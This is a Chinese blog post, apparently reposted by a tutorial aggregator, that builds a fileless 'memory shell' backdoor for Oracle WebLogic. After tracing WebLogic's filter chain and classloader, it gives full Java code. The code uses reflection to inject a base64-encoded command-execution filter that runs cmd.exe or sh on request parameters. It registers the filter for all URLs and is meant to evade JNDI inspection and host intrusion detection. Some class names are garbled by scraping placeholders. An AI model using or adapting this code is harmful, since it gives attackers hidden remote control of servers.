大佬教程收集整理的这篇文章主要介绍了Java安全之Weblogic内存马,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看得一清二楚。并且这种方式实现上传WebsHell落地文件容易被Hids监测。
@H_801_2@0x01 调试分析写一个filter进行断点跟踪上层代码。
其实和tomcat差不多,就是一个Filter链
public void doFilter(Servletrequest req, ServletResponse rsp) throws IOException, ServletException {
ServletrequestImpl.getOriginalrequest(req).setAsyncSupported(this.asyncSupportedBits.get(this.indeX));
Filter f = this.index < this.filters.size() - 1 ? (Filter)this.filters.get(this.index++) : (Filter)this.filters.get(this.indeX);
f.doFilter(req, rsp, this);
}
而在weblogic.servlet.internal.FilterChainImpl
中
private List<Filter> filters = new LinkedList();
存储Filter。在上面的doFilter方法里面遍历调用Filter的doFilter。
再追溯到上层中
weblogic.servlet.internal.WebAppServletContext#wrapRun
try {
ServleTinvocationContext invocationContext = this.context;
invocationContext.initOrRestoreThReadContext(this.req);
if (WebAppServletContext.wldfDyeInjectionMethod != null) {
try {
Object[] args = new Object[]{this.req};
WebAppServletContext.wldfDyeInjectionMethod.invoke((Object)null, args);
} catch (Throwable var14) {
}
}
if (!invocationContext.hasFilters() && !invocationContext.hasrequestListeners()) {
this.stub.execute(this.req, this.rsp);
} else {
FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
if (fc == null) {
this.stub.execute(this.req, this.rsp);
} else {
fc.doFilter(this.req, this.rsp);
}
}
FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
以上方法获取了一个FilterChain,即Filter链。跟踪该方法。
weblogic.servlet.internal.FilteRMANager#getFilterChain
方法
该方法会获取FilterChain。
该类中还有动态注册Filter方法
void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws Deploymentexception {
FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
if (this.loadFilter(fw)) {
EnumSet<DispatcherType> types = FilteRMANager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
if (urlPatterns != null) {
this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
}
if (servletNames != null) {
this.addMappingForServletNames(filterName, types, true, servletNames);
}
this.filters.put(filterName, fw);
}
}
将参数传递进行封装到FilterWrapper
,这里并没有传递一个class参数进去,传递了filterClassName
,然后在下面的this.loadFilter(fw)
进行加载。
Boolean loadFilter(FilterWrapper filterWrapper) throws Deploymentexception {
Filter filter = filterWrapper.getFilter();
if (filter == null) {
String filterClassName = filterWrapper.getFilterClassName();
try {
filter = (Filter)this.context.createInstance(filterClassName);
filterWrapper.setFilter((String)null, (Class)null, filter, falsE);
} catch (Exception var5) {
@R_675_10107@Logger.logCouldNotLoadFilter(this.context.getLogContext() + " " + filterClassName, var5);
throw new Deploymentexception(var5);
}
}
Throwable e = this.initFilter(filterWrapper.getFilterName(), filterWrapper.getFilter(), filterWrapper.geTinitParameters());
return e == null;
}
随即调用this.context.createInstance(filterClassName)
进行加载。跟进查看。
weblogic.servlet.internal.WebAppServletContext#createInstance
Object createInstance(String className) throws ClassnotFoundException, InstantiationException, IllegalAccessException {
Class<?> clazz = this.classLoader.loadClass(className);
return this.createInstance(clazz);
}
使用的是weblogic自己定义的一个classloader,调用自定义的loadclass方法。
protected Class<?> loadClass(String name, Boolean resolvE) throws ClassnotFoundException {
synchronized(this.getClassLoadingLock(Name)) {
Class res = (Class)this.cachedClasses.get(Name);
if (res != null) {
return res;
} else if (!this.childFirst) {
return super.loadClass(name, resolvE);
} else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml") || name.startsWith("javax.wsdl")) && !name.startsWith("weblogic.") && !name.startsWith("com.sun.org.")) {
Class var10000;
try {
synchronized(this) {
Class clazz = this.findClass(Name);
if (resolvE) {
this.resolveClass(clazz);
}
var10000 = clazz;
}
} catch (ClassnotFoundException var10) {
return super.loadClass(name, resolvE);
}
return var10000;
} else {
return super.loadClass(name, resolvE);
}
}
}
ChangeAwareClassLoader.loadClass
方法会从cache中查找是否存在待查找的类,也就是this.cachedClasses
这个变量。
再看下来,这个!this.childFirst
则是调用父类的loadClass
方法,则weblogic.utils.classloaders.GenericClassLoader#loadClass
。
再后面就是以java.
、javax.
、javax.xml
、javax.wsdl
、weblogic.
、com.sun.org.
开头的类名则使用weblogic.utils.classloaders.ChangeAwareClassLoader#findClass
查找。
这时候只需将恶意filter添加到cachedClasses
中,调用registerFilter
接口添加成功
直接上java-object-searcher
工具一把梭哈
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.builder().setField_type("@R_675_10107@Servletrequest").build());
keys.add(new Keyword.builder().setField_type("ServletrequestImpl").build());
keys.add(new Keyword.builder().setField_type("ServletResponseImpl").build());
keys.add(new Keyword.builder().setField_type("request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchrequstByBFS searcher = new SearchrequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:weblogic_ehco_gadget");
searcher.searchObject();
TargetObject = {weblogic.work.ExecuteThreaD}
---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsrequestExecutor}
---> connectionHandler = {weblogic.servlet.internal.@R_675_10107@ConnectionHandler}
---> request = {weblogic.servlet.internal.ServletrequestImpl}
代码如下:
Thread thread = Thread.currentThread();
try {
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
connectionHandler.get(workentry);
} catch (NoSuchFieldException E) {
e.printStackTrace();
} catch (ClassnotFoundException E) {
e.printStackTrace();
} catch (IllegalAccessException E) {
e.printStackTrace();
}
获取成功,接下来就是获取context然后将即WebAppServletContext
调用registerFilter
将恶意Filter进行注册。
Field context = servletrequest.getClass().getDeclaredField("context");
context.setAccessible(true);
weblogic.servlet.internal.WebAppServletContext webAppServletContext = (weblogic.servlet.internal.WebAppServletContext)context.get(context);
cachedClasses
这个变量在ChangeAwareClassLoader
中。前面也提到过在调用weblogic.servlet.internalWebAppServletContext#createInstance
中存储的是ChangeAwareClassLoader
,获取该classLoader变量即可。
最终代码:
package com.nice0e3;
import sun.misc.bASE64Decoder;
import weblogic.servlet.internal.FilteRMANager;
import weblogic.servlet.internal.ServletrequestImpl;
import weblogic.servlet.internal.WebAppServletContext;
import javax.servlet.ServletException;
import javax.servlet.Annotation.WebServlet;
import javax.servlet.@R_675_10107@.@R_675_10107@Servlet;
import javax.servlet.@R_675_10107@.@R_675_10107@Servletrequest;
import javax.servlet.@R_675_10107@.@R_675_10107@ServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
//TargetObject = {weblogic.work.ExecuteThreaD}
// ---> workEntry = {weblogic.servlet.provider.ContainerSupportProviderImpl$WlsrequestExecutor}
// ---> connectionHandler = {weblogic.servlet.internal.@R_675_10107@ConnectionHandler}
// ---> request = {weblogic.servlet.internal.ServletrequestImpl}
@WebServlet("/demoServlet")
public class demoServlet extends @R_675_10107@Servlet {
protected void dopost(@R_675_10107@Servletrequest request, @R_675_10107@ServletResponse responsE) throws ServletException, IOException {
response.getWriter().write("test!!!");
Thread thread = Thread.currentThread();
try {
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object @R_675_10107@ = connectionHandler.get(workentry);
Field request1 = @R_675_10107@.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletrequestImpl servletrequest = (ServletrequestImpl)request1.get(@R_675_10107@);
servletrequest.getResponse().getWriter().write("success!!!");
Field context = servletrequest.getClass().getDeclaredField("context");
context.setAccessible(true);
WebAppServletContext webAppServletContext = (WebAppServletContext)context.get(servletrequest);
String encode_class ="yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhymxlAQASTG9jYWxWYXJpYWJsZVRhymxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5PDAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIymAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAjeBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class filter_class = (Class) defineClass.invoke(webAppServletContext.getClassLoader(), decode_class, 0, decode_class.length);
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 =(ClassLoader)classLoader.get(webAppServletContext);
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdFilter", filter_class);
Field filteRMANager = webAppServletContext.getClass().getDeclaredField("filteRMANager");
filteRMANager.setAccessible(true);
Object o = filteRMANager.get(webAppServletContext);
Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilter.setAccessible(true);
registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
}
} catch (NoSuchFieldException E) {
e.printStackTrace();
} catch (ClassnotFoundException E) {
e.printStackTrace();
} catch (IllegalAccessException E) {
e.printStackTrace();
} catch (NoSuchMethodException E) {
e.printStackTrace();
} catch (InvocationTargetException E) {
e.printStackTrace();
}
}
protected void doGet(@R_675_10107@Servletrequest request, @R_675_10107@ServletResponse responsE) throws ServletException, IOException {
this.dopost(request, responsE);
}
}
把base64加密脚本也贴一出来
File file = new File("D:\Java_Demo\weblogic_an_sHell\out\production\weblogic_an_sHell\cmdFilter.class");
FileInputStream fileInputStream = new FileInputStream(filE);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[4096];
int len;
while ((len = fileInputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,len);
}
String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
System.out.println(encode.replaceAll("r|n",""));
里面还有registerListener方法也可以使用同样的方法实现Listener内存马。
@H_801_2@0x02 结尾介于网上weblogic内存马文章比较少,自己动手实现了一下。大大小小也遇到不少的坑。
以上是大佬教程为你收集整理的Java安全之Weblogic内存马全部内容,希望文章能够帮你解决Java安全之Weblogic内存马所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。